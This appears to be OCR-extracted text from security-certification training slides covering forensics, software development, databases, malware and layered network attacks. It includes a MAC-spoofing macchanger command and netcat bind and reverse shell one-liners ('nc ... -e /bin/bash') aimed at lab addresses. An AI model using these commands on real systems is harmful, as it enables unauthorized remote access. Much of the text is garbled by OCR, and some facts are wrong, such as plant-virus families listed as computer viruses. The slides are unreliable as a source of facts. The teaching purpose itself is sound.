Digital Forensics Investigative Process

6-Step Process
Identify

Preserve
Collect
Examine
Analyze
Present



Digital Forensics Digital Forensics

Investigative Process Questions Investigative Process Answers
Categorize each scenario with the correct digital forensics step: Categorize each scenario with the correct digital forensics step:
Identify - Preserve - Collect - Examine - Analyze - Present Identify - Preserve - Collect - Examine - Analyze - Present

» Imaging a disk » Imaging a disk

v' PRESERVATION

» Building timelines with packet captures » Building timelines with packet captures
v/ ANALYSIS
» Securing a laptop for forensic analysis » Securing a laptop for forensic analysis

v' PRESERVATION

» Correlating system intrusions with data mining » Correlating system intrusions with data mining
v  ANALYSIS
» Providing subject matter expertise for a trial » Providing subject matter expertise for a trial

v/ PRESENTATION

» Finding hidden data on a disk partition » Finding hidden data on a disk partition
v' EXAMINIATION

Computer Crime Categories

» Military and Intelligence Attacks
> Business Attacks
» Financial Attacks
» Terrorist Attacks
» Grudge Attacks
» Thrill Attacks
Ethics
(ISC)?2 Code of Ethics Ten Commandments of Computer Ethics
» Code of Ethics Preamble
v “The safety and welfare of society and the common good,
duty to our principles, and to each other, requires that 1) Thou shalt not use a computer to harm other people.
we adhere, and be seen to adhere, to the highest ethical 2) Thou shalt not interfere with other people's computer work.
standards of behavior. Therefore, strict adherence to this
code is a condition of certification.” 3) Thou shalt not snoop around in other people's computer files.
» Code of Ethics Canons 4) Thou shalt not use a computer to steal.
v Protect society, the commonwealth, and the infrastructure. 5) Thou shalt not use a computer to bear false witness.
v Act honorably, honestly, justly, responsibly, and legally. 6) Thou shalt not copy or use proprietary software for which you
v Provide diligent and competent service to principals. have not paid (without permission).
v Advance and protect the profession. 7) Thou shalt not use other people's computer resources without

authorization or proper compensation.
8) Thou shalt not appropriate other people's intellectual output.

9) Thou shalt think about the social consequences of the program
you are writing or the system you are designing.

10) Thou shalt always use a computer in ways that ensure
consideration and respect for other humans.
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Software Development Security
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Software Development Object Oriented Programming Basics
> Object Oriented Programming (OOP) definitions
» For organizations developing software internally or v Message
providing it as a service, it is necessary to follow a o Messaging is how work gets done in OOP and has four parts

regimentedisoftwareficeve lopmentiprocess ¢ Identifies recipient objects, Specifies code executed the

> One of the key considerations of the software development recipient, Specifies the code arguments, Provides return values
process focuses on knowledge and application of programming v Method
languages o The code to be executed by an object when it receives a message
v Behavior
o The output generated by an object

o Behavior and is the results of a message being processed through a
method

v Class
v A collection of methods from objects that defines object behavior

» Organizational developers should have an understanding of
how to apply
v Proper syntax
v Error checking
v Problem Solving
v Instance
v Examples of classes that contain methods

v Communication Skills

v Delegation

v Forwarding of a request by an object or delegate

v In the event an object has no methods, it will delegate
v Cohesion

v Strength of the relationship between methods
v Coupling

v Level of interaction between objects

Object Oriented Programming Definitions OOP Interactions

» Object Oriented Programming
v j . Instance
Object Object —>f Class
o A component consisting of methods and ©

properties that make data useful

o When messages are sent to an object,

it is asking the object to invoke or Abstraction
execute a method T Encapsulation
v Class Polymorphism T Object A Object B

o An entity that determines how an
object will behave and what the object
will contain

Methods Message Methods

v/ OOP Paradigms
v Inheritance I

o The mechanism that objects use to Inheritance
acquire properties of another object

Message

v Polymorphism

o ) . Message Message

v A way to process objects differently
based on their data type

v Allows objects with the same method Object -
name to be implemented differently Object C

v Abstraction Methods Message Methods
v Showing only applicable data and

hiding details of an object from the

v Encapsulation

v Binding data with code to prevent
external interference

Object D
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Spiral Model

» Multi iteration waterfall model

» Known as a metamodel

RISK ANALYSIS.

RISK ANALYSIS.
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Software Capability Maturity Model

» Developed by the Software Engineering Institute (SEI) at
Carnegie Mellon

» CMM stages
v Level 1: Initial

v Level 2: Repeatable
v Level 3: Defined Focus on process
v Level 4: Managed leierenent
v Level 5: Optimizing
Level 4 Processes measured

uantitatively Managed and controlled

Processes characterized for the
Level 3 organization and is proactive.
Deﬁ n ed (Projects tailor their processes from

s

Level 2 Processes characterized for projects

Man aged and is often reactive.

Processes unpredictable,
poorly controlled and reactive

Gantt Charts

» Gantt Charts
v'A graphical tool, designed by Henry Gantt, that helps
operations managers determine project status
v Generally useful when production process is simple and
activities aren’t interrelated
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Agile Software Development Model

» Agile methodology provides 12 principles to create efficient
development steps

v Individuals and interactions over processes and tools
v Working software over comprehensive documentation
v Customer collaboration over contract negotiation

v Responding to change over following

Dovalopment - geiease
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IDEAL Model

» IDEAL phases

v Initiating
v Diagnosing
v Establishing
v Acting

v Learning

Learning

Propose |
Future
Actions

Stimulfus Set Build Charter

for Sponsor, Infra-

Change / Context| oo™ structure
Initiating | haracteriz

Desired
State.

Diagnosing Set

Priorities|

Analyze
Validate,

Establishing

PERT Charts

» PERT Charts

Implement
Solutiol

Plan
Actions

Cominucus viaibny
e

Deveiopars Usars

H
e vesIIESHL
no

Refine
Solution

Acting

Pilot/Test
Solution

Create
Solution

v Program Evaluation and Review Technique (PERT) charts are
use for more complex schedules and help diagram activities
to perform events in the most efficient sequence

v PERT charts identify critical paths
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Change and Configuration Management

» Software development change management process
v Request Control
v Change Control
v Release Control

» Components of software configuration management
v Configuration Identification
v Configuration Control
v Configuration Status Accounting
v Configuration Audit

Configuration

Configuration
Status
Accounting

Configuration Change
Identification Management
Control changes toa product baseline ‘Provide status and information
‘and associated documentation ‘about a product and its
Hardware Software configuration
Components || components

Define the products and ts configurations
and documentation

Configuration Audits

APIs

» An application programming interface (API) is an interface
between computer programs that provides a developer with
programmatic access to a proprietary software application

» APIs can provide access to numerous types of systems
including:
v Web Applications
v Operating Systems
v Database Systems
v Computer Hardware Systems
v Software Library

» APIs generally provide specifications for routines, data
structures, object classes, variables, or remote calls

How an APl works

APPLICATION /

API SERVER /
CLIENT REQUESTS

API
DATA SOURCE RESPONSE

Static vs. Dynamic Testing

Static Testing Dynamic Testing

Testing was done without executing the program Testing is done by executing the program

This testing does the verification process Dynamic testing does the validation process

Static testing is about prevention of defects Dynamic testing is about finding and fixing the defects

Static testing gives an assessment of code and Dynamic testing gives bugs/bottlenecks in the software
documentation system.

Static testing involves a checklist and process to be Dynamic testing involves test cases for execution

followed
This testing can be performed before compilation Dynamic testing is performed after compilation

Dynamic testing techniques are Boundary Value Analysis
& Equivalence Partitioning.

Static testing covers the structural and statement
coverage testing
Cost of finding defects and fixing is less Cost of finding and fixing defects is high

Return on investment will be low as this process involves
after the development phase

Return on investment will be high as this process
involved at an early stage

More reviews comments are highly recommended for More defects are highly recommended for good quality.

good quality

Requires loads of meetings Comparatively requires lesser meetings

DevOps

» A set of practices which combines software development, IT
operations, and quality assurance to meet security requirements

» The ultimate objective of this approach is to reduce the systems
development life cycle and create efficient and secure software

» DevOps is similar to Agile development

Configure

Ao

Monitoring Menitoring

& Analytics

Rese,

Preproduction

Software Testing

> Types of software testing
v White-Box Testing
v Black-Box Testing
v Gray-Box Testing

> Software security focused testing
v Static Testing

o Code is manually checked throughout the development process
against requirement documents and design documents to find
errors

v Dynamic Testing
o Code is executed and checks functional behavior including
system resource usage and performance

neew

>
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Code Repositories

» Code repositories are an incredible resource for collaborative

efforts on software development projects, but if not configured
correctly can provide significant access to unauthorized users

> Some of the security best practices when using a code repository:

v Never store credentials as code or configurations on the
repository

v Remove Sensitive data from files and history

v Establish restrictive access controls

v Add security files

v Validate applications

v Conduct security testing on public repositories

v Rotate SSH keys and access tokens

O T ¥

Gitkub Bitbucket GitLab Azure Devops

U BT

Callbacks Slack Microsoft Teams WordPress




Database Security

Database Keys

> Different database keys
v Super Key

o An attribute(s) used to uniquely identify all attributes in a
relation

o No two distinct rows will have the same values
v Candidate Key

o A column(s) that identifies records without referring to
other data

o Each table may have one or more candidate keys
v Composite Key
o A key composed of more than one column
v Primary Key
o A unique candidate key that:
¢ Contains unique values for each row of data
¢ Cannot contain null values
v Foreign Key

o A column(s) in a relational database table that provides a
link between data in two tables

o Provides a cross-reference between tables by referencing a
primary key of another table

Database Transactions

> When dealing with database data transfer, there are a number

of key activities necessary to ensure database consistency:
v Atomicity

v Consistency

v Isolation

v Durability

Bl= Atomidit The entire transaction takes place at once
Y or doesn't happen at all.

The database must be consistent before
and after the transaction.

{.C = Consistency}
ACID

Multiple Transactions occur independently

| = Isolation £ .
without interference.
The changes of a successful transaction
D = Durability 9

occurs even if the system failure occurs.

Database Terminology

» A database is an organized collection of:
Schemas
Tables
Queries
Reports
Views

ENENENENEN

»> Schema
»> Database organization

A

» Tables
v A collection of related data that is configured in a
structured format and includes:
o Columns (Attribute, Field)
o Rows (Record, Tuple)

> Query
v A statement written in a particular language that gives a
user access to database information

> View

v Pre-established queries that contain limits on the amount of
data exposed from tables

Database Keys

studentld | firstName 1 lastName
| 10001254 James Harradine ‘ AD04 I .
i Foreign Keys
| L0002349 Amanda Holland co02 I
|
| 10001198 Simon McCloud 5042 I
Ly \
Relationship
Primary Keys > courseld | courseName
| AD04 [ Accounts
€002 ‘ Computing
P301 History
S042 Short Course

Database Security Concerns

» Database Concurrency
v'Utilization of data by different users at the same time
v Dirty Reads

o An uncommitted dependency that results when a
transaction is allowed to read data from a row that
has been modified by another running transaction and
not yet committed

» Context-Dependent Access Control*

» Partitioning
v Segmenting large database tables into multiple smaller
parts allowing for quicker queries
» Polyinstantiation
v When a database is instantiated into multiple independent
instances
v This could potentially result in two different instances
have the same name primary key
v Noise and Perturbation

o Addition of noise to a database providing
confidentiality



NoSQL Databases

» Database methods outside of traditional relational
databases

» Differences between SQL and NoSQL databases:

Capability SQL

Database Type
Schema Type
Data Storage
Data Access

Vendors

» https:
» https:
» https:
> https:
> https:
> https:
» https:
» https:
> https:
> https:
> https:
> https:
> https:
> https:
> https:
» https:
> https:

Relational Non-Relational
Pre-Defined

Table-Based

Dynamic
Document-Based
Query Language API

Oracle, Microsoft, MySQL MongoDB, CouchDB

Knowledge-Based Systems
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Database Storage

» Types of Storage¥*

v Primary

v Secondary

v Virtual Memory

v Virtual Storage

v'Random Access Storage

v Sequential Access Storage
v'Volatile Storage

v Nonvolatile Storage

» Storage Threats*

Knowledge-Based Systems

Knowledge-based systems are computer programs that reason
and utilize a knowledge base to solve complex problems
Expert Systems

v'A computer system that emulates the decision-making
ability of a human expert generally designed with if-then
rules rather than through conventional procedural code

Machine Learning

v Scientific study of algorithms and statistical models
that computer systems use to perform a specific task
without using explicit instructions, relying on patterns
and inference instead

v Considered a subset of artificial intelligence

Neural Networks

v'A set of algorithms, modeled loosely after the human
brain, that are designed to recognize patterns

v'Neural networks interpret sensory data through a kind of
machine perception, labeling or clustering raw input
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Malicious Code and Application Attacks

Certified
Information
Systems Security

CISSPO Professional

Web Application Attacks

» Types of web application attacks
v Cross-Site Scripting (XSS)*
v Cross-Site Request Forgery (CSRF)*
v SQL Injection*
o Dynamic Web Applications
v Reconnaissance Attacks*
o IP Probes
o Port Scans
o0 Vulnerability Scans
v'Masquerading Attacks
o Spoofing at any layer of the OSI model
e ARP Spoofing
* IP Spoofing
* Application Spoofing
v Session Hijacking*

Viruses

» A virus is executable code that attaches itself
to other files or programs

» Macro
YA virus generated as a macro application
following a scripted command process
» Polymorphic
vVirus that changes small parts of its code to
mask previous signatures
» Multipartite
v'Virus that attacks through multiple vectors
» Armored

YA virus designed to prevent analysis generally
through misleading logic in the code

General Attack Types

» Types of attacks

v Zero-Day*

v Password Attacks*
o Password Guessing
o Dictionary Attacks

v Social Engineering*

v Application Attacks*
o Buffer Overflows
o Time of Check to Time of Use
o Back Doors
o Escalation of Privilege and Rootkits

Malware

» Malware is any firmware or software code that
maliciously harms a computing resource,
manipulates or destroys data, or hides
functionality to maintain access to a system

» Malware can be classified into a number of
categories
v'Virus
vWorm
v'Ransomware

v Trojan
vRootkit
v/ Spyware
v Adware

Worms

The Morrs |, > A worm is a stand alone malware
mmumﬂmm”%“ that is self-contained and
self-propagating

» A worm is fundamentally
different from a virus in that
it because it does not require
a host for generation or
transmission

» Some significant security
paradigms were changed due to
worm development!

v Software Library Security
v System Least Privilege

v Endpoint security

v Emergency Response Teams




Additional Malware

i@f‘

ROOTKIT

» Trojan Horse

v Malware that accompanies a legitimate
program and delivers backdoors and /
or rootkits to a system after
installation

» Rootkits

v Malware that hides malicious

processes and activities from users

and administrators
o Firmware
o Virtual
o Kernel
o Library
o Application

» Ransomware

v Malware that often encrypts victim
resources and demands payment to

decrypt

Malware Classification

» One of the challenges of dealing with malware stems from how to
properly classify what category it falls under

> There are numerous organizations that collect, analyze, and
attempt to classify malware:

v Sophos*

o https://www.sophos.com/en-us/threat

v Virus Total

o https://www.virustotal.com

ter/threat lyses/vir

v U.S. Computer Emergency Response Team

o www.us-cert.gov

v Symantec

o www.Symantec.com/security response

» Read the following article about virus testing:
vhttps://en.wikipedia.org/wiki/EICAR test file

.aspx

* Graph Hash?

Port-Application Traffic

» Network traffic
analysis based on port
applications can be an
indicator of malware
infections

» Port information can be

helpful in developing

defensive measures against

malware infection
v IDS / IPS Detection
Rules
v Firewall
Configurations
v Open Source

Intelligence (OSINT)

Sharing

Malware Name

Port /

Protocol

Agent 31, Hackers Paradise, Masters Paradise

31/tcp

Psyber Stream

1170/tcp

Ultors Trojan

1234/tcp

SubSeven server

1243/tcp

ShockRave

1981/tcp

Trojan Cow

2001/tcp

Ripper Pro

2023/¢cp

Deep Throat, Invasor

2140/udp

Rat backdoor

[2989/tcp

WinCrash

3024/ tcp

Deep Throat, Invasor

3150/tcp

Portal of Doom

3700/tcp

1CQ Trojan

4950/tcp

Gnutella

6346/tcp

The Thing

6400/tcp

SubSeven server

6667/tcp

Deep Throat

6670/tcp

NetBus 1.x, GabanBus, Pie Bill Gates, X-Bill
NetBus 1.x

Stacheldraht intruder-to-master
Shaft master-to-daemon

NetBus 2 Pro

Shaft intruder-to-master

Shaft daemon-to-master

SubSeven server

Trinoo master-to-daemon

Trinoo intruder-to-master
NetSphere

12345/tep
12346/tep
16660/ tcp
18753/udp
20034/tcp
20432/tcp
20433/udp
27374/tcp
27444 /udp
27665/ tcp
30100/tep

Trinoo daemon-to-master

31335/udp

Back Orifice, Baron Night, Bo Facil

31337/tep

Trinity master-to-daemon

33270/tep

Lion Worm Backdoor Rootshell

33567/tep

Lion Worm SSH Trojan

33568/tcp

Masters Paradise Trojan horse

40421/tcp

Lion Worm Backdoor Rootshell

60008/ tcp

Stacheldraht master-to-daemon

65000/tcp

Malware Examples

»Macro Virus
vMelissa*, Hancitor

»Polymorphic Virus
v'URSNIF, VIRLOCK, VOBFUS, BAGLE, UPolyX

»Multipartite Virus

v Benyviridae, Ophioviridae
»Trojan

v'Back Orifice*, MalumPOS*, Carbanak*, Gumblar*
>Worm

vMorris*, Code Red*, Stuxnet*, Duqu*, Conficker*

»Ransomware
vCryptoWall, CryptolLocker*, WannaCry, Gpcode*

>Rootkit
v'Blue Pill, ZeroAccess

Malware Indicators of Compromise

» Upon delivery and installation of malware, there can be
significant indicators of compromise (IOC)3
v'Unusual Outbound Network Traffic
v'Anomalies in Privileged User Account Activity
v Geographical Irregularities
v'Log-In Red Flags
v Increases in Database Read Volume
v'HTML Response Sizes
v'Large Numbers of Requests for the Same File
v'Mismatched Port-Application Traffic
v Suspicious Registry or System File Changes
v'Unusual DNS Requests
v Unexpected Patching of Systems
v'Mobile Device Profile Changes
v'Bundles of Data in the Wrong Place
v'Web Traffic with Unhuman Behavior
v'Signs of DDoS Activity

TCP/IP Attacks

» Each layer of the TCP/IP model must
contend with different types of attacks

> What kind of attacks do attackers
employ against networks and systems?
v Denial-of-Service Attacks
v Buffer Overflow Attacks
v Eavesdropping
v'Man-In-The-Middle
v'Network Session Hijacking
v Keyloggers
v Spoofing Attacks
v Pharming
v Phishing
v Vishing

Transport
Layer

1111

> Observing the same attack at multiple
layers is common and occurs when
attacks are modified based on PDUs




Transport
Layer

-0

Network Layer Attacks

» Protocol Data Unit

v Frame

» Addressing

v Media Access Control (MAC)

» Network Layer Attacks & Tools

v' Denial of Service (DoS)

v macof
v Sniffing

o Wireshark / tshark

v arpspoof
v ettercap

o webmitm
v Keyloggers

v Yersinia

v MAC Address Spoofing
o macchanger
v ARP Spoofing

v Session Hijacking

o KeyGrabber
v/ VLAN Hopping

Process to Change MAC Addresses

8 [ether] on ethl
[ether] on ethe

0 [ether] on ethd

:ad:25 [ether] on etho

ifconfig

ethe: flags=41

inet 192.168.220

inet6 feso::20c:29ff: fe:
8:d6:98

ether 00:0c:2!

? (192.168.254.2
20. 1

5.220.2!

y (192.16

, BROADCAST , RUNNING, MULTICAST>

mtu 1560
134 netmask 255.255.255.0 broadcast 192
698 prefixlen 64 scopeid Ox2|
gueuelen 1000 _(Ethernet)

:~$ sudo ifconfig ethe down

Found 1 resuits

MAC Address/OUI | Vendor {Company}

00:0C:29 VMware, Inc.

sudo macchanger -m e0:a5:09:00:00:00 ethe

Inc.)
Inc.)

0 (VMwa
8 (VMware,

Bitmain

:00 (unknown)

$ arp -
54) at
34) at e®

) at 00:50:56:
8.220.2) at 00:

18 [ether] on ethl

9:00 [ether] on ethe

90 [ether] on ethe
a4:25 [ether] on eth®

Found 1 results

MAC Address/OUI | Vendor {Company}

ED:AS5:09 Bitmain Technologies Inc

Address Resolution Protocol - Request

10.10.10.1

00:1d:09:£0:92:

10.10.10.2

aa:aa:aa:aa:aa:aa

Broadcast

|who has 1@.1@.10.1? Tell 10.10.10.2 |

‘16.16.16.1 is

at @0:1d:09:f8:92:ab

fEf:£f:££:££: ££: £F

ab

HIORSTIORSTIOMRS)
bb:bb:bb:bb:bb:bb

10.10.10.4

FS2EBRESEBEBED

MAC Address Spoofing

1) Show current network ARP
table on victim

2) Identify the proper Network
Interface Card (NIC) to
modify on attacker

v NOTE: Changing of physical
interface values requires
physical access to the
system

3) Shutdown the NIC

4) Search for desired OUI

v http://standards-
oui.ieee.org/oui. txt

5) Modify the MAC Address
6) Bring up the NIC
7) Show updated ARP table

# ifconfig -a

collisions

ARP Cache Poisoning

» Address Resolution Protocol (ARP) is a foundational networking
protocol for local area networks (LANs)

» ARP has the following vulnerabilities:

v ARP is a stateless protocol

o This means it is possible to send an ARP reply even if
a ARP request has not been sent
o This is called a Gratuitous ARP
v ARP is an unencrypted protocol
v ARP is an unauthenticated protocol

» Once an ARP cache has been corrupted, the following attacks

are possible:
v'Man-In-The-Middle
v Denial-of-Service
v Session Hijacking
v Sniffing
v Broadcast Attacks

Address Resolution Protocol - Reply

10.10.10.2

aa:aa:aa:aa:aa:aa

10.10.10.1
00:1d:09:£0:92:ab

HIORSTIORSTIOMNS)
bb:bb:bb:bb:bb:bb

[Who has 1@.10

.18.17 Tell 10.10.10.2 |

|16.16.16.1 is

at @8:1d:83:f@:92:ab

Unicast

10.10.10.4

FS2EBREIEBEBED



£8:cf:c5:£b:79:6c

ARP Cache Spoofing
192.168.0.13
aa:aaaaaa:aa:aa

Legitimate ARP

Who has 192.168.8.17 Tell 192.168.8.13

192.168.8.1 is at f8:cf:c5:fb:79:6c

who has 192.168.8.232 Tell 192.168.0.1
Gratuitous ARP for 192.168.0.23 (Request)
who has 192.168.8.17 Tell 192.168.0.23
192.168.@.1 is at f8:cf:c5:fb:79:6c

fEff:ff.ff:£F . £F

>

192.168.0.1 10.10.10.4

cellecicchcctlcetcel
>
192.168.0.23
bb:bb:bb:bb:bb:bb

ARP Cache Spoofing
192.168.0.13
aa:aaaa:aa:aa:aa
Legitimate ARP
Who has 192.168.8.17 Tell 192.168.8.13

192.168.8.1 is at f8:cf:c5:fb:79:6c
who has 192.168.8.232 Tell 192.168.0.1

Gratuitous ARP for 192.168.0.23 (Request)
who has 192.168.8.17 Tell 192.168.0.23
192.168.@.1 is at f8:cf:c5:fb:79:6c

fE.ff.ff.£F.££:. FF

192.168.0.1 10.10.10.4

£8:cf:c5:£fb:79: 6c

cellecicchcctlceticel
>
192.168.0.23
bb:bb:bb:bb:bb:bb

ARP Cache Spoofing
192.168.0.13

aa:aa:aa:aa:aa:aa

Who has 192.168.8.17 Tell 192.168.8.13
192.168.8.1 is at f8:cf:c5:fb:79:6c

who has 192.168.8.232 Tell 192.168.0.1
Gratuitous ARP for 192.168.0.23 (Request)
who has 192.168.8.17 Tell 192.168.0.23

£8:cf:c5:£b:79: 6c

|1§2.168.€‘1 is at f8:cf:c5:fb:79:6c

Threat

~d
192.168.0.1 10.10.10.23

£8:cf:c5:£b:79: 6c
cellecicchcetlceticel

192.168.0.4
bb:bb:bb:bb:bb:bb

ARP Cache Spoofing

192.168.0.13

aa:aa:aa:aa:aa:aa

Legitimate ARP
Who has 192.168.8.17 Tell 192.168.8.13
192.168.8.1 is at f8:cf:c5:fb:79:6c
who has 192.168.8.232 Tell 192.168.0.1
Gratuitous ARP for 192.168.0.23 (Request)
who has 192.168.8.17 Tell 192.168.0.23
192.168.@.1 is at f8:cf:c5:fb:79:6c

-

£8:cf:c5:£b:79:6c

192.168.0.1 10.10.10.4

HS2ESREEEBEBED

>

192.168.0.23
bb:bb:bb:bb:bb:bb

ARP Cache Spoofing
192.168.0.13

aa:aa:aa:aa:aa:aa

Who has 192.168.8.17 Tell 192.168.8.13
192.168.8.1 is at f8:cf:c5:fb:79:6c

who has 192.168.8.232 Tell 192.168.0.1
Gratuitous ARP for 192.168.0.23 (Request)
who has 192.168.8.17 Tell 192.168.0.23
192.168.@.1 is at f8:cf:c5:fb:79:6c

Gratuitous
Threat

fE:ff. £ £F.£F:£F

192.168.0.1 10.10.10.23

£8:cf:c5:£b:79: 6c
cellecicchcctlcetcel

>

192.168.0.4
bb:bb:bb:bb:bb:bb

Keyloggers

» Another challenging network layer attack is the use of
keyloggers whose function is to collect keystrokes to an

attacker

> Key loggers can be hardware or software based, but at the
network layer we will focus on hardware keyloggers

» A keylogger at this layer is a physical MITM attack and
requires very little time to install

» Keystrokes can be collected on onboard files, or transmitted
out of a LAN through remote connections

»> Some of the more well known physical keyloggers include:

v KeyGrabber
v Key Ghost




VLANs

» Virtual Local Area Networks provide the ability to
separate broadcast domains in a switched environment and
establish security boundaries between groups

> VLANs are defined by IEEE 802.1g and establish a system

of VLAN

tagging

> Hosts will only see traffic on a shared VLAN since a
unique subnet is assigned to each

Engineering

Finance

Finance

Engineering

VLAN 10 - 192.168.10.0/24
VLAN 20 - 192.168.20.0/24
VLAN 30 - 192.168.30.1/24

Internet Layer Attacks

v Packet
» Addressing

o IPv4
o IPv6

Transport
Layer

o macof
o Xerxes

v Sniffing
o Wireshark
o tshark

v IP Spoofing
v hping3
v Scapy

v Network Proxy
o Proxychains
o Tor

» Protocol Data Unit

v Internet Protocol Address

» Internet Layer Attacks & Tools
v Denial of Service

IP Spoofing Traffic

SRC Port DST MAC
00:0c:29:8:41:60

DST IP
192.168.220.129

DST Port Protocol

Length Info
60 Echo (ping) request

192.168.220.129 00:0c:2 192.168.220.132 ICMP 60 Echo (ping) reply
SRCTP SRCPort DST MAC DST PP DST Port  Protocol  Length Tnfo

192.168.220.132 00:0c:29:£8:41:60 192.168.220.129 IcMp 60  Echo (ping) request
192.168.220.129 00:0c:29:e9:ef :1e 192.168.220.132 ICMP 42 Echo (ping) reply

SRCIP

192.168.220.132

192.168.220.129

SRC Port_ DST MAC DSTIP
00:0c:29:78:41:60 192.168.220.129

00:0c:29:e9:ef:le 192.168.220.132

DST Port

Protocol _ Length Info
42 Echo (ping) request
1

ICMP 60 Echo (ping

192.168.220.132

192.168.220.136

B

192.168.220
192.168.220

LalEp
2

Spoofed Source IP Address

Destination IP Address

192.168.220.129

VLAN Hopping

> VLANs are generally configured to establish security boundaries
between groups within an organization
> There are two general attack categories for VLAN hopping
v Double Tagging

o Manipulation of an ethernet frame that allows access to
different VLANs then initially configured

v Switch Spoofing
o Changing an initially configured access port to trunk port
» Common VLAN hopping tools
v Frogger
v Yersinia

Finance

Finance

Engineering Engineering

IP Spoofing

» Internet Protocol packets work by establishing both source
and destination addresses for the purposes of routing them
correctly

> If the source IP address of a packet can be manipulated, when
it is received at the destination IP address, the response
will be sent to that address instead of the attacks

Actual Source IP Addresses

192.168.220.132

192.168.220.136

192.168.220.132 192.168.220.129

192.168.220.129

Spoofed Source IP Address

Destination IP Address

Denial of Service - Internet Layer

» Types of Internet Layer DoS Attacks
v Ping of Death

o Manipulation of ping packets by increasing packet size
and attempting to overwhelm the network resources of a
victim machine

v Smurf Attack

o A DDoS attack in which a victim system or network is
flooded with spoofed ICMP packets

192.168.220.132
g!!!
ICMP

192.168.220.136

1 ICMP
g

192.168.220.132
192.168.220.129

192.168.220.12
Spoofed Source IP Address J & & O

Destination IP Address




Network Proxy

» When communicating between endpoints to access
services, many times the requests coming from clients
will be direct

» A non-proxy configuration below demonstrates this
condition
v Requests to the web server appear to come from the
outward facing IP at 172.65.24.120

10.10.100.1 192.168.84.1

R \%\ /%'5'/ @

175.65.24.120 214.124.234.60

Transport Layer Attacks

» Protocol Data Unit
v Segment

» Addressing
v TCP Port
v UDP Port

» Internet Layer Attacks & Tools

Tr::;z:rt v Denial of Service
o hping3
v Sniffing
o Wireshark
o tshark

v Replay Attacks
o tcpreplay
v Passive Scanning
o pOf
v Active Scanning
o nmap
o masscan
v Transport Layer Connections
o netcat

Transport Layer Connections

> In order to access resources on computing systems, it will
be necessary to read and write to TCP and UDP ports that are
gateways to application layer data

» Access to specific ports can be established using some well
known applications including:

v netcat / nc - vulnerable

v ncat - netcat update

> In addition to well established network application tools,
developers can also create new functionality with raw socket
programming

v Winsock API - C/C++

v Unix Socket API — C/C++

v' Python socket module

» The first set of connections that we will introduce have to
do with who is establishing a connection
v' Bind Connection / Shell
v Reverse Connection / Shell

192.168.84.17

Network Proxy Configuration

» If there are conditions that require anonymity of web
requests, it will be necessary to add web proxies
between endpoints

» Even though the web requests still originate from the
172.65.24.120, the request is forwarded to a proxy so
the request from the servers standpoint originates from
84.16.129.32

84.16.129.32

10.10.100.1

10.10.100.50 R\\\ //f

175.65.24.120 214.124.234.60

192.168.84.1

Denial of Service - Transport Layer

» Transport Layer DoS Types
v TCP Null Flood

o Crafted packet with no TCP flags set used to see how an
endpoint reacts to the invalid request

v Deadly-SYN Flood
o When endpoints send continuous set of packets with SYN
flag set in an attempt to cause starvation of available
TCP ports
v Fraggle Attack

o A DDoS attack in which a victim system or network is
flooded with spoofed UDP packets

v UDP Flooding

o Large number of UDP packets with the objective of
preventing legitimate users from accessing UDP resources

Reverse Connection

» A reverse connection occurs when a victim system
attempts to establish an outbound connection with an
untrusted system

» The victim system will specify both the IP and port
information, while the threat system will simply listen on
the port

» The default connection type for ncat is TCP, but can be
changed to other transport layer protocols

» This type of connection is dangerous because certain
ports are allowed outbound by default

Threat Victim
,, SYRBH#ACK =

192.168.100.20
nc -v 192.168.100.10 5000

192.168.100.10
nc -lvp 5000

192.168.84.17



Bind Connection

» A bind connection occurs when a threat system
attempts to establish an inbound connection with an
victim system

> This condition could occur if a victim system has
been compromised and sets up a listener to await
threat system connections

» Incoming connections are generally interrogated in
a much more robust fashion than outbound connections
and will be more likely to be caught by firewalls
and IDS / IPS

Victim

SYNapACK =

>

Threat

192.168.100.10 192.168.100.20

ncat -v 192.168.100.20 5000 ncat -lnvp 5000

Bind Shell

> A bind connection occurs when a threat system
attempts to establish an inbound connection with an
victim system

> This condition could occur if a victim system has
been compromised and sets up a listener to await
threat system connections

» Incoming connections are generally interrogated in
a much more robust fashion than outbound connections
and will be more likely to be caught by firewalls
and IDS / IPS

Victim

SYNauhpACK =

>

Threat

192.168.100.10 192.168.100.20

nc -v 192.168.100.20 5000 -e /bin/bash nc -lnvp 5000

Denial of Service - Application Layer

> BApplication Layer DoS Types
v HTTP / HTTPS Flooding

o A type of Distributed Denial of Service (DDoS) attack in
which GET or POST requests which looks real to attack a
web server or application.

o HTTP / HTTPS flood attacks are volumetric attacks that
make use of botnets, but do not sent maliciously formed
packets

v DNS Flooding
v An older attack, a DNS flood attempts to exhaust server-
side assets with a flood of UDP requests since DNS lookup
requests use UDP
v A successful attack would require a significant number of
compromised systems

Reverse Shell

» A reverse shell is different than a simple reverse
connection since it connection occurs when a victim system
attempts to establish an outbound connection with an
untrusted system

» The victim system will specify both the IP and port
information, while the threat system will simply listen on
the port

» The default connection type for ncat is TCP, but can be
changed to other transport layer protocols

> This type of connection is dangerous because certain
ports will be allowed outbound by default

Threat Victim

, SYNBR#RACK .

[ /
= =

192.168.100.20
nc -v 192.168.100.10 5000 -e /bin/bash

192.168.100.10
nc -lvp 5000

Application Layer Attacks

» Protocol Data Unit
v Data

» Addressing
v Application Data

» Application Layer Attacks & Tools
v Denial of Service
v Sniffing
v Replay Attacks
v Application Spoofing
v Buffer Overflows
v Application Injection
v Web Application Attacks
v Encryption Striping
v Password Cracking
o Guessing
o Dictionary Attack
o Rainbow Table Attack
v Privilege Escalation
v Email Spoofing
v Client-Side Attacks

Transport
Layer

Replay Attacks

» Attacks that are able to gain access to system resources may
not be interested in immediately actively attacking and / or
disrupting organizational resources

» The objective may be to collect as much legitimate traffic
on the organizational network in order to use it at a later
point

» Since many application layer protocols do not have
authentication mechanisms, traffic collected in the past can
be replayed later




Password Cracking

Brute-Force Attack
Dictionary Attack
Hybrid Attack

Birthday Attack
v'Hash collision attack

» Rainbow Tables

Y V V V

Client-Side Attack

» Client-Side attacks take advantage of users through:
v'Clicking links
v Opening documents
v'Redirecting to a malicious websites

Attacker Controlled
Web Server

Malicious 2
GET Request

Malicious
Payload 3

4 shell Connection

Malicious Email Sent
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Privilege Escalation

» Raising a non-privileged user or system account to
administrative access

» Due to the lack of access for the non-privileged user or system
account

Domain Admin

Delegated Admin

Local Admin

User

Typo Squatting

» Synonymous with URL hijacking
» Creating domains closely related to legitimate sites

> Registration of closely related sites
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